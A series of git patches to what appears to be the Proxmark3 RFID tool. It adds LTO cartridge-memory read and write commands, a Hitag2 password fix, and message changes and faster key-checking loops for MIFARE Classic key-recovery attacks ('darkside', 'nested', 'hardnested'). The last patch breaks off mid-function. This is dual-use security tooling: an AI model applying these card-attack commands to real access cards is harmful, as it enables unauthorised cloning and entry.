#536 --- armsrc/hitag2.c | 6 +++++- client/cmdlfhitag.c | 2 +- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 3da970a24..770c63544 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -1288,7 +1288,11 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { break; case RHT2F_PASSWORD: { Dbprintf("List identifier in password mode"); - memcpy(password, htd->pwd.password, 4); + if (memcmp(htd->pwd.password, "\x00\x00\x00\x00", 4) == 0) + memcpy(password, tag.sectors[1], sizeof(password)); + else + memcpy(password, htd->pwd.password, sizeof(password)); + blocknr = 0; bPwd = false; bAuthenticating = false; diff --git a/client/cmdlfhitag.c b/client/cmdlfhitag.c index 810c0e7b3..4d699541e 100644 --- a/client/cmdlfhitag.c +++ b/client/cmdlfhitag.c @@ -563,7 +563,7 @@ static int CmdLFHitagReader(const char *Cmd) { } uint32_t id = bytes_to_num(resp.data.asBytes, 4); - uint8_t *data = NULL; + uint8_t *data = resp.data.asBytes; PrintAndLogEx(SUCCESS, " UID: " _YELLOW_("%08x"), id); if (htf != RHT2F_UID_ONLY) { From 66803e442d3cedbb5c128e486904720759c12ec1 Mon Sep 17 00:00:00 2001 From: Kevin-Nakamoto Date: Wed, 22 Jan 2020 13:55:37 -0500 Subject: [PATCH 366/418] Support LTO-CM read block and add CM-type into hf lto info command. --- client/cmdhflist.c | 4 +- client/cmdhflto.c | 197 ++++++++++++++++++++++++++++++++++----------- client/cmdhflto.h | 3 +- 3 files changed, 152 insertions(+), 52 deletions(-) diff --git a/client/cmdhflist.c b/client/cmdhflist.c index 2fde8492c..b35e4d622 100644 --- a/client/cmdhflist.c +++ b/client/cmdhflist.c @@ -1119,7 +1119,7 @@ void annotateLTO(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { snprintf(exp, size, "READWORD"); break; case (LTO_READBLOCK & 0xF0): - snprintf(exp, size, "READBLOCK"); + snprintf(exp, size, "READBLOCK(%d)", cmd[1]); break; case LTO_READBLOCK_CONT: snprintf(exp, size, "READBLOCK CONT"); @@ -1128,7 +1128,7 @@ void annotateLTO(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { snprintf(exp, size, "WRITEWORD"); break; case (LTO_WRITEBLOCK & 0xF0): - snprintf(exp, size, "WRITEBLOCK"); + snprintf(exp, size, "WRITEBLOCK(%d)", cmd[1]); break; case LTO_HALT: snprintf(exp, size, "HALT"); diff --git a/client/cmdhflto.c b/client/cmdhflto.c index 39e9cf30b..e82fee381 100644 --- a/client/cmdhflto.c +++ b/client/cmdhflto.c @@ -33,6 +33,18 @@ static int usage_lto_info(void) { return PM3_SUCCESS; } +static int usage_lto_rdbl(void) { + PrintAndLogEx(NORMAL, "Usage: hf lto rdbl [h] s e "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " s start block in decimal >= 0"); + PrintAndLogEx(NORMAL, " e end block in decimal <= 254"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf lto rdbl s 0 e 254 - Read data block from 0 to 254"); + return PM3_SUCCESS; +} + static void lto_switch_off_field(void) { SendCommandMIX(CMD_HF_ISO14443A_READER, 0, 0, 0, NULL, 0); } @@ -42,15 +54,22 @@ static void lto_switch_on_field(void) { } // send a raw LTO-CM command, returns the length of the response (0 in case of error) -static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16_t *response_len, bool addcrc, bool verbose) { +static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16_t *response_len, bool addcrc, bool is7bits, bool verbose) { uint64_t arg0 = ISO14A_RAW | ISO14A_NO_DISCONNECT | ISO14A_NO_RATS; - uint32_t arg1 = (len == 1) ? (7 << 16) : 0; - arg1 |= len; + uint32_t arg1; if (addcrc) { arg0 |= ISO14A_APPEND_CRC; } + + if (is7bits) { + arg1 = 7 << 16; + } else { + arg1 = 0; + } + + arg1 |= len; SendCommandOLD(CMD_HF_ISO14443A_READER, arg0, arg1, 0, cmd, len); PacketResponseNG resp; @@ -62,7 +81,6 @@ static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16 if (resp.oldarg[0] == *response_len) { *response_len = resp.oldarg[0]; - if (*response_len > 0) { memcpy(response, resp.data.asBytes, *response_len); } @@ -70,40 +88,36 @@ static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16 if (verbose) PrintAndLogEx(WARNING, "Wrong response length (%d != %" PRIu64 ")", *response_len, resp.oldarg[0]); return PM3_ESOFT; } + return PM3_SUCCESS; } // select a LTO-CM tag. Send WUPA and RID. -static int lto_select(uint8_t *id_response, uint8_t id_len, bool verbose) { +static int lto_select(uint8_t *id_response, uint8_t id_len, uint8_t *type_response, bool verbose) { // Todo: implement anticollision uint8_t resp[] = {0, 0}; uint16_t resp_len; uint8_t wupa_cmd[] = {LTO_REQ_STANDARD}; - uint8_t select_cmd[] = {LTO_SELECT, 0x20}; - uint8_t select_1_cmd[] = {LTO_SELECT, 0x70, 0, 0, 0, 0, 0}; - - lto_switch_on_field(); + uint8_t select_sn_cmd[] = {LTO_SELECT, 0x20}; + uint8_t select_cmd[] = {LTO_SELECT, 0x70, 0, 0, 0, 0, 0}; resp_len = 2; - int status = lto_send_cmd_raw(wupa_cmd, sizeof(wupa_cmd), resp, &resp_len, false, verbose); + int status = lto_send_cmd_raw(wupa_cmd, sizeof(wupa_cmd), type_response, &resp_len, false, true, verbose); if (status == PM3_ETIMEOUT || status == PM3_ESOFT) { - lto_switch_off_field(); return PM3_ESOFT; // WUPA failed } resp_len = id_len; - status = lto_send_cmd_raw(select_cmd, sizeof(select_cmd), id_response, &resp_len, false, verbose); + status = lto_send_cmd_raw(select_sn_cmd, sizeof(select_sn_cmd), id_response, &resp_len, false, false, verbose); if (status == PM3_ETIMEOUT || status == PM3_ESOFT) { - lto_switch_off_field(); - return PM3_EWRONGANSVER; // SELECT failed + return PM3_EWRONGANSVER; // REQUEST SERIAL NUMBER failed } - memcpy(select_1_cmd + 2, id_response, sizeof(select_1_cmd) - 2); + memcpy(select_cmd + 2, id_response, sizeof(select_cmd) - 2); resp_len = 1; - status = lto_send_cmd_raw(select_1_cmd, sizeof(select_1_cmd), resp, &resp_len, true, verbose); + status = lto_send_cmd_raw(select_cmd, sizeof(select_cmd), resp, &resp_len, true, false, verbose); if (status == PM3_ETIMEOUT || status == PM3_ESOFT || resp[0] != 0x0A) { - lto_switch_off_field(); return PM3_EWRONGANSVER; // SELECT failed } @@ -132,63 +146,148 @@ static int CmdHfLTOInfo(const char *Cmd) { return PM3_EINVARG; } - return infoLTO(false); + return infoLTO(true); } int infoLTO(bool verbose) { clearCommandBuffer(); + lto_switch_on_field(); + uint8_t serial_number[5]; uint8_t serial_len = sizeof(serial_number); - int ret_val = lto_select(serial_number, serial_len, verbose); + uint8_t type_info[2]; + + int ret_val = lto_select(serial_number, serial_len, type_info, verbose); lto_switch_off_field(); if (ret_val == PM3_SUCCESS) { PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, " UID : " _YELLOW_("%s"), sprint_hex_inrow(serial_number, sizeof(serial_number))); - PrintAndLogEx(SUCCESS, "TYPE : "); - // todo: add printing of all configuration - } else { - if (verbose) PrintAndLogEx(WARNING, "LTO-CM card select failed"); + PrintAndLogEx(SUCCESS, "TYPE INFO: " _YELLOW_("%s"), sprint_hex_inrow(type_info, sizeof(type_info))); + PrintAndLogEx(SUCCESS, "UID: " _YELLOW_("%s"), sprint_hex_inrow(serial_number, sizeof(serial_number))); } - /* read block: - - SendCommandNG(CMD_HF_THINFILM_READ, NULL, 0); - PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_HF_THINFILM_READ, &resp, 1500)) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); - return PM3_ETIMEOUT; - } - - if (resp.status == PM3_SUCCESS) { - if (resp.length == 16 || resp.length == 32) { - print_barcode(resp.data.asBytes, resp.length, verbose); - } else { - if (verbose) - PrintAndLogEx(WARNING, "Response is wrong length. (%d)", resp.length); - - return PM3_ESOFT; - } - } - - return resp.status; - */ return ret_val; } static int CmdHfLTOList(const char *Cmd) { (void)Cmd; // Cmd is not used so far - CmdTraceList("14a"); -// CmdTraceList("lto"); + CmdTraceList("lto"); return PM3_SUCCESS; } +static int lto_rdbl(uint8_t blk, uint8_t *block_responce, uint8_t *block_cnt_responce, bool verbose) { + + uint16_t resp_len; + uint8_t rdbl_cmd[] = {0x30, blk}; + uint8_t rdbl_cnt_cmd[] ={0x80}; + + resp_len = 18; + int status = lto_send_cmd_raw(rdbl_cmd, sizeof(rdbl_cmd), block_responce, &resp_len, true, false, verbose); + if (status == PM3_ETIMEOUT || status == PM3_ESOFT ) { + return PM3_EWRONGANSVER; // READ BLOCK failed + } + + resp_len = 18; + status = lto_send_cmd_raw(rdbl_cnt_cmd, sizeof(rdbl_cnt_cmd), block_cnt_responce, &resp_len, false, false, verbose); + if (status == PM3_ETIMEOUT || status == PM3_ESOFT ) { + return PM3_EWRONGANSVER; // READ BLOCK CONTINUE failed + } + + return PM3_SUCCESS; +} + +int rdblLTO(uint8_t st_blk, uint8_t end_blk, bool verbose) { + + clearCommandBuffer(); + + lto_switch_on_field(); + + uint8_t serial_number[5]; + uint8_t serial_len = sizeof(serial_number); + uint8_t type_info[2]; + int ret_val = lto_select(serial_number, serial_len, type_info, verbose); + + if (ret_val != PM3_SUCCESS) { + lto_switch_off_field(); + return ret_val; + } + + uint8_t block_data_d00_d15[18]; + uint8_t block_data_d16_d31[18]; + uint8_t block_data[32]; + + for(uint8_t i = st_blk; i < end_blk + 1; i++) { + + ret_val = lto_rdbl(i, block_data_d00_d15, block_data_d16_d31, verbose); + + if (ret_val == PM3_SUCCESS) { + //Remove CRCs + for (int t = 0; t < 16; t++) { + block_data[t] = block_data_d00_d15[t]; + block_data[t + 16] = block_data_d16_d31[t]; + } + + PrintAndLogEx(SUCCESS, "BLK%03d: " _YELLOW_("%s"), i, sprint_hex_inrow(block_data, sizeof(block_data))); + } else { + lto_switch_off_field(); + return ret_val; + } + } + + lto_switch_off_field(); + return ret_val; +} + +static int CmdHfLTOReadBlock(const char *Cmd) { + + uint8_t cmdp = 0; + bool errors = false; + uint8_t st_blk = 0; + uint8_t end_blk = 254; + + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': + return usage_lto_rdbl(); + case 's': + st_blk = param_get8(Cmd, cmdp+1); + if ( end_blk < st_blk ) { + errors = true; + break; + } + cmdp += 2; + break; + + case 'e': + end_blk = param_get8(Cmd, cmdp+1); + if ( end_blk < st_blk ) { + errors = true; + break; } + cmdp += 2; + break; + + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + //Validations + if (errors) { + usage_lto_rdbl(); + return PM3_EINVARG; + } + + return rdblLTO(st_blk, end_blk, true); +} + static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, {"info", CmdHfLTOInfo, IfPm3Iso14443a, "Tag information"}, -// {"rdbl", CmdHfLTOReadBlock, IfPm3Iso14443a, "Read block"}, + {"rdbl", CmdHfLTOReadBlock, IfPm3Iso14443a, "Read block"}, // {"wrbl", CmdHfLTOWriteBlock, IfPm3Iso14443a, "Write block"}, // {"sim", CmdHfLTOSim, IfPm3Iso14443a, " Simulate LTO-CM tag"}, {"list", CmdHfLTOList, AlwaysAvailable, "List LTO-CM history"}, diff --git a/client/cmdhflto.h b/client/cmdhflto.h index 52c22da0d..d54eb75f1 100644 --- a/client/cmdhflto.h +++ b/client/cmdhflto.h @@ -14,7 +14,8 @@ #include "common.h" int infoLTO(bool verbose); - +int rdblLTO(uint8_t st_blk, uint8_t end_blk, bool verbose); int CmdHFLTO(const char *Cmd); #endif + From 688fb78235b59f18a18b12a3dda8d50b6dc16cf9 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 22 Jan 2020 21:14:05 +0100 Subject: [PATCH 367/418] fix for compiling with pm3others --- armsrc/mifarecmd.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index cf1115f21..69e3dd04e 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -1783,7 +1783,8 @@ void MifareChkKeys(uint8_t *datain) { } void MifareChkKeys_file(uint8_t *fn) { - + +#ifdef WITH_FLASH SpinOff(0); int changed = rdv40_spiffs_lazy_mount(); @@ -1801,6 +1802,7 @@ void MifareChkKeys_file(uint8_t *fn) { MifareChkKeys(mem); BigBuf_free(); +#endif } //----------------------------------------------------------------------------- From ef8cdc8babf5e5c58c094b3f63546522e73258e3 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 24 Jan 2020 14:48:30 +0100 Subject: [PATCH 368/418] textual --- client/cmdhfmf.c | 37 ++++++++++++++++++++----------------- 1 file changed, 20 insertions(+), 17 deletions(-) diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index 173184592..0f8668d2c 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -556,26 +556,26 @@ static int CmdHF14AMfDarkside(const char *Cmd) { switch (isOK) { case -1 : PrintAndLogEx(WARNING, "button pressed. Aborted."); - return 1; + return PM3_ESOFT; case -2 : PrintAndLogEx(FAILED, "card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests)."); - return 1; + return PM3_ESOFT; case -3 : PrintAndLogEx(FAILED, "card is not vulnerable to Darkside attack (its random number generator is not predictable)."); - return 1; + return PM3_ESOFT; case -4 : PrintAndLogEx(FAILED, "card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown"); PrintAndLogEx(FAILED, "generating polynomial with 16 effective bits only, but shows unexpected behaviour."); - return 1; + return PM3_ESOFT; case -5 : PrintAndLogEx(WARNING, "aborted via keyboard."); - return 1; + return PM3_ESOFT; default : PrintAndLogEx(SUCCESS, "found valid key: "_YELLOW_("%012" PRIx64), key); break; } PrintAndLogEx(NORMAL, ""); - return 0; + return PM3_SUCCESS; } static int CmdHF14AMfWrBl(const char *Cmd) { @@ -1351,7 +1351,7 @@ static int CmdHF14AMfNested(const char *Cmd) { num_to_bytes(g_mifare_default_keys[cnt], 6, (uint8_t *)(keyBlock + cnt * 6)); } - PrintAndLogEx(SUCCESS, "Testing known keys. Sector count=%d", SectorsCnt); + PrintAndLogEx(SUCCESS, "Testing known keys. Sector count "_YELLOW_("%d"), SectorsCnt); int res = mfCheckKeys_fast(SectorsCnt, true, true, 1, ARRAYLEN(g_mifare_default_keys) + 1, keyBlock, e_sector, false); if (res == PM3_SUCCESS) { // all keys found @@ -1360,8 +1360,8 @@ static int CmdHF14AMfNested(const char *Cmd) { } uint64_t t2 = msclock() - t1; - PrintAndLogEx(SUCCESS, "Time to check %zu known keys: %.0f seconds\n", ARRAYLEN(g_mifare_default_keys), (float)t2 / 1000.0); - PrintAndLogEx(SUCCESS, "enter nested attack"); + PrintAndLogEx(SUCCESS, "Time to check " _YELLOW_("%zu") "known keys: %.0f seconds\n", ARRAYLEN(g_mifare_default_keys), (float)t2 / 1000.0); + PrintAndLogEx(SUCCESS, "enter nested key recovery"); // nested sectors // int iterations = 0; @@ -1407,7 +1407,7 @@ static int CmdHF14AMfNested(const char *Cmd) { } t1 = msclock() - t1; - PrintAndLogEx(SUCCESS, "time in nested: %.0f seconds\n", (float)t1 / 1000.0); + PrintAndLogEx(SUCCESS, "time in nested: " _YELLOW_("%.0f") "seconds\n", (float)t1 / 1000.0); // 20160116 If Sector A is found, but not Sector B, try just reading it of the tag? @@ -1541,7 +1541,7 @@ static int CmdHF14AMfNestedStatic(const char *Cmd) { // check if we can authenticate to sector if (mfCheckKeys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) { - PrintAndLogEx(WARNING, "Wrong key. Can't authenticate to block:%3d key type:%c", blockNo, keyType ? 'B' : 'A'); + PrintAndLogEx(WARNING, "Wrong key. Can't authenticate to block: %3d key type: %c", blockNo, keyType ? 'B' : 'A'); return PM3_EOPABORTED; } @@ -1562,7 +1562,7 @@ static int CmdHF14AMfNestedStatic(const char *Cmd) { num_to_bytes(g_mifare_default_keys[cnt], 6, (uint8_t *)(keyBlock + cnt * 6)); } - PrintAndLogEx(SUCCESS, "Testing known keys. Sector count=%d", SectorsCnt); + PrintAndLogEx(SUCCESS, "Testing known keys. Sector count "_YELLOW_("%d"), SectorsCnt); int res = mfCheckKeys_fast(SectorsCnt, true, true, 1, ARRAYLEN(g_mifare_default_keys) + 1, keyBlock, e_sector, false); if (res == PM3_SUCCESS) { // all keys found @@ -1571,8 +1571,8 @@ static int CmdHF14AMfNestedStatic(const char *Cmd) { } uint64_t t2 = msclock() - t1; - PrintAndLogEx(SUCCESS, "Time to check %zu known keys: %.0f seconds\n", ARRAYLEN(g_mifare_default_keys), (float)t2 / 1000.0); - PrintAndLogEx(SUCCESS, "enter static nested attack"); + PrintAndLogEx(SUCCESS, "Time to check "_YELLOW_("%zu") "known keys: %.0f seconds\n", ARRAYLEN(g_mifare_default_keys), (float)t2 / 1000.0); + PrintAndLogEx(SUCCESS, "enter static nested key recovery"); // nested sectors for (trgKeyType = 0; trgKeyType < 2; ++trgKeyType) { @@ -1587,6 +1587,9 @@ static int CmdHF14AMfNestedStatic(const char *Cmd) { case PM3_ETIMEOUT : PrintAndLogEx(ERR, "Command execute timeout"); break; + case PM3_EOPABORTED : + PrintAndLogEx(WARNING, "aborted via keyboard."); + break; case PM3_ESOFT : continue; case PM3_SUCCESS : @@ -1605,7 +1608,7 @@ static int CmdHF14AMfNestedStatic(const char *Cmd) { } t1 = msclock() - t1; - PrintAndLogEx(SUCCESS, "time in static nested: %.0f seconds\n", (float)t1 / 1000.0); + PrintAndLogEx(SUCCESS, "time in static nested: " _YELLOW_("%.0f") "seconds\n", (float)t1 / 1000.0); // 20160116 If Sector A is found, but not Sector B, try just reading it of the tag? @@ -1841,7 +1844,7 @@ static int CmdHF14AMfNestedHard(const char *Cmd) { uint64_t key64 = 0; // check if we can authenticate to sector if (mfCheckKeys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) { - PrintAndLogEx(WARNING, "Key is wrong. Can't authenticate to block:%3d key type:%c", blockNo, keyType ? 'B' : 'A'); + PrintAndLogEx(WARNING, "Key is wrong. Can't authenticate to block: %3d key type: %c", blockNo, keyType ? 'B' : 'A'); return 3; } } @@ -4802,7 +4805,7 @@ static command_t CommandTable[] = { {"darkside", CmdHF14AMfDarkside, IfPm3Iso14443a, "Darkside attack"}, {"nested", CmdHF14AMfNested, IfPm3Iso14443a, "Nested attack"}, {"hardnested", CmdHF14AMfNestedHard, AlwaysAvailable, "Nested attack for hardened MIFARE Classic cards"}, - {"staticnested", CmdHF14AMfNestedStatic, IfPm3Iso14443a, "Nested attack against static nonce Mifare Classic cards"}, + {"staticnested", CmdHF14AMfNestedStatic, IfPm3Iso14443a, "Nested attack against static nonce MIFARE Classic cards"}, {"autopwn", CmdHF14AMfAutoPWN, IfPm3Iso14443a, "Automatic key recovery tool for MIFARE Classic"}, // {"keybrute", CmdHF14AMfKeyBrute, IfPm3Iso14443a, "J_Run's 2nd phase of multiple sector nested authentication key recovery"}, {"nack", CmdHf14AMfNack, IfPm3Iso14443a, "Test for MIFARE NACK bug"}, From 6ad7f1ecf75047c6e2c26237ab9a3723e4820ee5 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 24 Jan 2020 16:28:39 +0100 Subject: [PATCH 369/418] textual --- client/flash.c | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/client/flash.c b/client/flash.c index 5bbb669c0..98375fc3a 100644 --- a/client/flash.c +++ b/client/flash.c @@ -522,8 +522,17 @@ static int write_block(uint32_t address, uint8_t *data, uint32_t length) { return ret; } +const char ice[] = + "...................................................................\n @@@ @@@@@@@ @@@@@@@@ @@@@@@@@@@ @@@@@@ @@@ @@@\n" + " @@! !@@ @@! @@! @@! @@! @@! @@@ @@!@!@@@\n !!@ !@! @!!!:! @!! !!@ @!@ @!@!@!@! @!@@!!@!\n" + " !!: :!! !!: !!: !!: !!: !!! !!: !!!\n : :: :: : : :: ::: : : : : : :: : \n" + " . .. .. . . .. ... . . . . . .. . \n" +; + // Write a file's segments to Flash int flash_write(flash_file_t *ctx) { + int len = 0; + PrintAndLogEx(SUCCESS, "Writing segments for file: %s", ctx->filename); for (int i = 0; i < ctx->num_segs; i++) { flash_seg_t *seg = &ctx->segments[i]; @@ -552,7 +561,11 @@ int flash_write(flash_file_t *ctx) { baddr += block_size; length -= block_size; block++; - fprintf(stdout, "."); + if ( len < strlen(ice) ) + fprintf(stdout, "%c", ice[len++]); + else + fprintf(stdout, "."); + fflush(stdout); } PrintAndLogEx(NORMAL, " " _GREEN_("OK")); From 6ddf9823e9c43fcacc4d14dc2a815c32e873b6bb Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 24 Jan 2020 18:21:57 +0100 Subject: [PATCH 370/418] textual --- client/flash.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/flash.c b/client/flash.c index 98375fc3a..a3d438757 100644 --- a/client/flash.c +++ b/client/flash.c @@ -526,7 +526,7 @@ const char ice[] = "...................................................................\n @@@ @@@@@@@ @@@@@@@@ @@@@@@@@@@ @@@@@@ @@@ @@@\n" " @@! !@@ @@! @@! @@! @@! @@! @@@ @@!@!@@@\n !!@ !@! @!!!:! @!! !!@ @!@ @!@!@!@! @!@@!!@!\n" " !!: :!! !!: !!: !!: !!: !!! !!: !!!\n : :: :: : : :: ::: : : : : : :: : \n" - " . .. .. . . .. ... . . . . . .. . \n" + _RED_(" . .. .. . . .. ... . . . . . .. . \n") ; // Write a file's segments to Flash From cf65145353ba21da2fc9d121c30c2d1b597abcba Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 24 Jan 2020 20:12:34 +0100 Subject: [PATCH 371/418] less waiting --- armsrc/mifarecmd.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 69e3dd04e..9e9c721bd 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -1240,7 +1240,7 @@ uint8_t chkKey(struct chk_t *c) { } res = mifare_classic_authex(c->pcs, c->cuid, c->block, c->keyType, c->key, AUTH_FIRST, NULL, NULL); - CHK_TIMEOUT(); +// CHK_TIMEOUT(); // if successful auth, send HALT // if ( !res ) @@ -1760,7 +1760,7 @@ void MifareChkKeys(uint8_t *datain) { key = bytes_to_num(datain + i * 6, 6); res = mifare_classic_auth(pcs, cuid, blockNo, keyType, key, AUTH_FIRST); - CHK_TIMEOUT(); +// CHK_TIMEOUT(); if (res) continue; @@ -1784,13 +1784,13 @@ void MifareChkKeys(uint8_t *datain) { void MifareChkKeys_file(uint8_t *fn) { -#ifdef WITH_FLASH +#ifdef WITH_FLASH SpinOff(0); int changed = rdv40_spiffs_lazy_mount(); uint32_t size = size_in_spiffs((char *)fn); uint8_t *mem = BigBuf_malloc(size); - + rdv40_spiffs_read_as_filetype((char *)fn, mem, size, RDV40_SPIFFS_SAFETY_SAFE); if (changed) { @@ -2229,7 +2229,7 @@ void MifareHasStaticNonce() { nt = bytes_to_num(rec, 4); - CHK_TIMEOUT(); +// CHK_TIMEOUT(); } OUT: From 28c6a5dc2d7d173bc01d25823311d154b22d4a50 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 25 Jan 2020 14:29:35 +0100 Subject: [PATCH 372/418] textual --- client/cmdhfmf.c | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index 0f8668d2c..c8ee0013c 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -1545,6 +1545,10 @@ static int CmdHF14AMfNestedStatic(const char *Cmd) { return PM3_EOPABORTED; } + if (IfPm3Flash()) { + PrintAndLogEx(INFO, "RDV4 with flashmemory supported detected."); + } + uint64_t t1 = msclock(); e_sector = calloc(SectorsCnt, sizeof(sector_t)); @@ -3987,13 +3991,13 @@ static int CmdHF14AMfCWipe(const char *cmd) { CLIParserInit("hf mf cwipe", "Wipe gen1 magic chinese card. Set UID/ATQA/SAK/Data/Keys/Access to default values.", "Usage:\n\thf mf cwipe -> wipe card.\n" - "\thf mfp mf cwipe -u 09080706 -a 0004 -s 18 -> set UID, ATQA and SAK and wipe card."); + "\thf mf cwipe -u 09080706 -a 0004 -s 18 -- set UID, ATQA and SAK and wipe card."); void *argtable[] = { arg_param_begin, - arg_str0("uU", "uid", "", "UID for card"), - arg_str0("aA", "atqa", "", "ATQA for card"), - arg_str0("sS", "sak", "", "SAK for card"), + arg_str0("uU", "uid", "", "UID for card"), + arg_str0("aA", "atqa", "", "ATQA for card"), + arg_str0("sS", "sak", "", "SAK for card"), arg_param_end }; CLIExecWithReturn(cmd, argtable, true); @@ -4008,11 +4012,11 @@ static int CmdHF14AMfCWipe(const char *cmd) { return PM3_EINVARG; } if (atqaLen && atqaLen != 2) { - PrintAndLogEx(ERR, "UID length must be 2 bytes instead of: %d", atqaLen); + PrintAndLogEx(ERR, "ATQA length must be 2 bytes instead of: %d", atqaLen); return PM3_EINVARG; } if (sakLen && sakLen != 1) { - PrintAndLogEx(ERR, "UID length must be 1 byte instead of: %d", sakLen); + PrintAndLogEx(ERR, "SAK length must be 1 byte instead of: %d", sakLen); return PM3_EINVARG; } From 88a976d9ff6630ecccee73ca063a5352c827e85c Mon Sep 17 00:00:00 2001 From: Kevin-Nakamoto Date: Mon, 27 Jan 2020 14:39:38 -0500 Subject: [PATCH 373/418] added write block command for LTO-CM --- CHANGELOG.md | 1 + client/cmdhflto.c | 124 ++++++++++++++++++++++++++++++++++++++++++++-- client/cmdhflto.h | 1 + 3 files changed, 121 insertions(+), 5 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f0b0e3c6f..ca80d078f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Added `hf lto wrbl` - write block support for LTO Cartridge memory (@Kevin-Nakamoto) - Fix compilation under openSUSE (@hsanjuan) - Added `lf nexwatch sim` - use raw hex to simulate (@iceman1001) - Fix `lf indala read` - long id 224bits preamble identification less strict (@iceman1001) diff --git a/client/cmdhflto.c b/client/cmdhflto.c index e82fee381..ed61eac70 100644 --- a/client/cmdhflto.c +++ b/client/cmdhflto.c @@ -45,6 +45,19 @@ static int usage_lto_rdbl(void) { return PM3_SUCCESS; } +static int usage_lto_wrbl(void) { + PrintAndLogEx(NORMAL, "Usage: hf lto wrbl [h] b d "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " b block address (decimal, 0 - 254) "); + PrintAndLogEx(NORMAL, " d 32 bytes of data to write (64 hex characters, no space)"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf lto wrbl b 128 d 0001020304050607080910111213141516171819202122232425262728293031 - write 00..31 to block address 128"); + PrintAndLogEx(NORMAL, " Use 'hf lto rdbl' for verification"); + return PM3_SUCCESS; +} + static void lto_switch_off_field(void) { SendCommandMIX(CMD_HF_ISO14443A_READER, 0, 0, 0, NULL, 0); } @@ -179,17 +192,15 @@ static int CmdHfLTOList(const char *Cmd) { static int lto_rdbl(uint8_t blk, uint8_t *block_responce, uint8_t *block_cnt_responce, bool verbose) { - uint16_t resp_len; + uint16_t resp_len = 18; uint8_t rdbl_cmd[] = {0x30, blk}; uint8_t rdbl_cnt_cmd[] ={0x80}; - resp_len = 18; int status = lto_send_cmd_raw(rdbl_cmd, sizeof(rdbl_cmd), block_responce, &resp_len, true, false, verbose); if (status == PM3_ETIMEOUT || status == PM3_ESOFT ) { return PM3_EWRONGANSVER; // READ BLOCK failed } - resp_len = 18; status = lto_send_cmd_raw(rdbl_cnt_cmd, sizeof(rdbl_cnt_cmd), block_cnt_responce, &resp_len, false, false, verbose); if (status == PM3_ETIMEOUT || status == PM3_ESOFT ) { return PM3_EWRONGANSVER; // READ BLOCK CONTINUE failed @@ -284,12 +295,115 @@ static int CmdHfLTOReadBlock(const char *Cmd) { return rdblLTO(st_blk, end_blk, true); } +static int lto_wrbl(uint8_t blk, uint8_t *data, bool verbose) { + + uint8_t resp[] = {0, 0}; + uint16_t resp_len = 1; + uint8_t wrbl_cmd[] = {0xA0, blk}; + uint8_t wrbl_d00_d15[16]; + uint8_t wrbl_d16_d31[16]; + + for (int i = 0; i < 16; i++) { + wrbl_d00_d15[i] = data[i]; + wrbl_d16_d31[i] = data[i+16]; + } + + int status = lto_send_cmd_raw(wrbl_cmd, sizeof(wrbl_cmd), resp, &resp_len, true, false, verbose); + if (status == PM3_ETIMEOUT || status == PM3_ESOFT || resp[0] != 0x0A) { + return PM3_EWRONGANSVER; // WRITE BLOCK failed + } + + status = lto_send_cmd_raw(wrbl_d00_d15, sizeof(wrbl_d00_d15), resp, &resp_len, true, false, verbose); + if (status == PM3_ETIMEOUT || status == PM3_ESOFT || resp[0] != 0x0A) { + return 